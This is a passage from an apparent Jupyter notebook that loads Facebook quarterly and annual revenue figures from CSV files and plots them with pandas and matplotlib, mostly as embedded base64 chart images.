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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\Facebook Revenue Statistics\\RFB1.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='x', color='r')\n", + "plt.xlabel(\"Quarter\")\n", + "plt.ylabel(\"FB revenue $ USD\")\n", + "plt.barh(x,y,color=['b','orange','y','m','k','g','c'])\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook annual revenue" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Year Facebook revenue(USD millions)\n", + "0 2012 5089\n", + "1 2013 7872\n", + "2 2014 12466\n", + "3 2015 17928\n", + "4 2016 27638\n", + "5 2017 40653\n", + "6 2018 55838\n", + "7 2019 70697\n", + "8 2020 85965\n" + ] + }, + { + "data": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAA4gAAAIWCAYAAAAVq6NJAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAhnUlEQVR4nO3dfbBndX0f8PenrApqQMSHIaCuFmICpj7dWKKZjIlNxCQW22hKUiNNmK5aRE2TthLTxBkzU22MJsZqZ0cbwcQH1KRSjSYWTdNExC5qRUDCRiJsICI+IGpEgU//+H03vexe9t6F37m/vfe+XjO/+Z3zPQ/7OWcPd++b7/ecU90dAAAA+AeLLgAAAIBDg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQJNm26ALW2wMe8IDevn37ossAAABYiEsuueTG7n7gSsu2XEDcvn17du3ategyAAAAFqKqPndnywwxBQAAIImACAAAwCAgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAABgERAACAJAIiAAAAg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQREAEAABgEBABAABIkmxbdAEAAMDGV7XoCg493Yuu4ODpQQQAACCJgAgAAMAgIAIAAJBEQAQAAGAQEAEAAEgiIAIAADAIiAAAACQREAEAABgERAAAAJIIiAAAAAwCIgAAAEkERAAAAAYBEQAAgCQCIgAAAIOACAAAQBIBEQAAgEFABAAAIImACAAAwCAgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAAhkkDYlX9QlVdVlWfrqq3VdXhVXX/qvpgVV01vo9etv45VbW7qq6sqqcua398VV06lr22qmq036uq3jHaL66q7VMeDwAAwGY2WUCsquOSvDDJUnc/KslhSU5P8pIkF3b3iUkuHPOpqpPG8pOTnJrk9VV12NjdG5LsSHLi+Jw62s9M8uXuPiHJa5K8cqrjAQAA2OymHmK6LckRVbUtyb2TXJfktCTnjuXnJnnGmD4tydu7+5buvjrJ7iRPqKpjkxzZ3Rd1dyc5b59t9u7rXUmesrd3EQAAgIOzbaodd/ffVNWrklyT5O+S/El3/0lVPbi7rx/rXF9VDxqbHJfko8t2sWe0fXtM79u+d5trx75uraqbkhyT5MbltVTVjsx6IHP4MYdnaefS/A4UAAAYv22z3NLORVdw8CYLiOPewtOSPDzJV5K8s6qefaBNVmjrA7QfaJs7NnTvTLIzSZaWlnrXjl0HKAMAADhYxvHtb9d+yeTQUM+987+sKYeY/pMkV3f3F7r720n+IMkTk3x+DBvN+L5hrL8nyUOWbX98ZkNS94zpfdvvsM0YxnpUki9NcjQAAACb3JQB8Zokp1TVvcd9gU9JckWSC5KcMdY5I8l7xvQFSU4fTyZ9eGYPo/nYGI56c1WdMvbznH222buvZyb50LhPEQAAgIM05T2IF1fVu5J8PMmtST6R2TDP+yY5v6rOzCxEPmusf1lVnZ/k8rH+Wd1929jd85O8OckRSd4/PknypiRvqardmfUcnj7V8QAAAGx2tdU63JaWlnrXLvcgAgDAPLkHcX+HatSqqku6e8Und079mgsAAAA2CAERAACAJAIiAAAAg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQREAEAABgEBABAABIIiACAAAwCIgAAAAkERABAAAYBEQAAACSCIgAAAAMAiIAAABJBEQAAAAGAREAAIAkAiIAAACDgAgAAEASAREAAIBBQAQAACCJgAgAAMAgIAIAAJBEQAQAAGAQEAEAAEgiIAIAADAIiAAAACQREAEAABgERAAAAJIIiAAAAAwCIgAAAEkERAAAAAYBEQAAgCQCIgAAAIOACAAAQBIBEQAAgEFABAAAIImACAAAwCAgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGLYtugAAAFgvVYuu4NDUvegKOFToQQQAACCJgAgAAMAgIAIAAJBEQAQAAGAQEAEAAEgiIAIAADAIiAAAACQREAEAABgERAAAAJIIiAAAAAwCIgAAAEkERAAAAAYBEQAAgCQCIgAAAIOACAAAQBIBEQAAgEFABAAAIImACAAAwCAgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAABgERAACAJAIiAAAAg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQREAEAABgEBABAABIIiACAAAwCIgAAAAk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AIOACAAAQBIBEQAAgEFABAAAIMm070EE4C7wmPD9HaqPCQeAzUYPIgAAAEkERAAAAAYBEQAAgCQCIgAAAIOACAAAQBIBEQAAgEFABAAAIImACAAAwCAgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAABgERAACAJAIiAAAAg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQREAEAABgEBABAABIIiACAAAwbFt0AcDGVLXoCg493YuuAADg7tGDCAAAQBIBEQAAgEFABAAAIImACAAAwCAgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAABgERAACAJAIiAAAAg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQREAEAABgEBABAABIIiACAAAwbFt0ATC1qkVXcOjpXnQFAAAcivQgAgAAkERABAAAYBAQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAABgERAACAJAIiAAAAg4AIAABAEgERAACAYduiC2CmatEVHHq6F10BAABsLXoQAQAASCIgAgAAMAiIAAAAJBEQAQAAGAREAAAAkgiIAAAADAIiAAAASQREAAAABgERAACAJAIiAAAAg4AIAABAEgERAACAQUAEAAAgiYAIAADAICACAACQREAEAABgEBABAABIIiACAAAwCIgAAAAkERABAAAYBEQAAACSCIgAAAAMAiIAAABJNkFArKpTq+rKqtpdVS9ZdD0AAAAb1YYOiFV1WJL/kuRpSU5K8tNVddJiqwIAANiYNnRATPKEJLu7+7Pd/a0kb09y2oJrAgAA2JA2ekA8Lsm1y+b3jDYAAAAO0rZFF3A31Qptvd9KVTuS7BizX6uqKyetauN7QJIbF11ErfS3y1xswnPrmt3kNuG5dc1ucpvw3LpmN7lNdm4Pies1OaTP68PubMFGD4h7kjxk2fzxSa7bd6Xu3plk53oVtdFV1a7uXlp0HbBWrlk2GtcsG41rlo3E9Xr3bPQhpv8nyYlV9fCqumeS05NcsOCaAAAANqQN3YPY3bdW1QuS/HGSw5L8t+6+bMFlAQAAbEgbOiAmSXf/UZI/WnQdm4zhuGw0rlk2GtcsG41rlo3E9Xo3VPd+z3QBAABgC9ro9yACAAAwJwLiFlBVD6mqD1fVFVV1WVW9aLTfv6o+WFVXje+jR/sxY/2vVdXrlu3n3lX1vqr6zNjPKxZ1TGxu87pm99nnBVX16fU8DraOeV6zVXXPqtpZVX85ft7+5CKOic1tztfsT1fVpVX1qar6QFU9YBHHxOZ1F67XH6mqS8Z1eUlV/fCyfT1+tO+uqtdWHcIvolgQAXFruDXJL3b39yQ5JclZVXVSkpckubC7T0xy4ZhPkm8m+Y9JfmmFfb2qu787yWOTPKmqnjZ59WxF87xmU1X/PMnXJq+arWye1+xLk9zQ3d+V5KQk/2vq4tmS5nLNVtW2JL+d5Ie6+x8l+VSSF6zPIbCFHOz1emOSp3f39yY5I8lblu3rDZm9H/3E8Tl1fQ5h4xAQt4Duvr67Pz6mb05yRZLjkpyW5Nyx2rlJnjHW+Xp3/3lm/xgs3883uvvDY/pbST6e2bsnYa7mdc0mSVXdN8m/TfLr01fOVjXPazbJzyf5T2O927v7kHjZM5vLHK/ZGp/7jJ6YI7PCO6nh7rgL1+snunvvdXhZksOr6l5VdWySI7v7op49iOW8vdvw/wmIW0xVbc+s9+/iJA/u7uuT2X94SR50EPu5X5KnZ/Z/a2Ayc7hmX57kN5N8Y6oaYbm7c82On61J8vKq+nhVvbOqHjxhuXC3rtnu/naS5ye5NLNgeFKSN01ZL1vbXbhefzLJJ7r7lsxC5Z5ly/aMNpYRELeQ0ZPy7iQv7u6v3o39bEvytiSv7e7Pzqs+2NfdvWar6jFJTujuP5x3bbCSOfyc3ZbZyIy/6O7HJbkoyavmWCLcwRx+zt4js4D42CTfmdkQ03PmWiQMB3u9VtXJSV6Z5Ll7m1ZYzSsd9iEgbhHjB/i7k/x+d//BaP786GrP+L5hjbvbmeSq7v6tuRcKw5yu2e9P8viq+uskf57ku6rqT6epmK1uTtfsFzPr7d77PzXemeRxE5QL87pmH5Mk3f1XY8je+UmeOE3FbGUHe71W1fGZ/Sx9Tnf/1WjekzveHnV8DInej4C4BYx7At6U5IrufvWyRRdkduNuxvd71rCvX09yVJIXz7lM+Hvzuma7+w3d/Z3dvT3JDyT5y+5+8vwrZqub4zXbSf5HkiePpqckuXyuxULm+rvB3yQ5qaoeOOZ/JLP7w2BuDvZ6HcP135fknO7+i70rj2GoN1fVKWOfz8kafv/damr2bxGbWVX9QJL/ndn9AbeP5l/ObOz2+UkemuSaJM/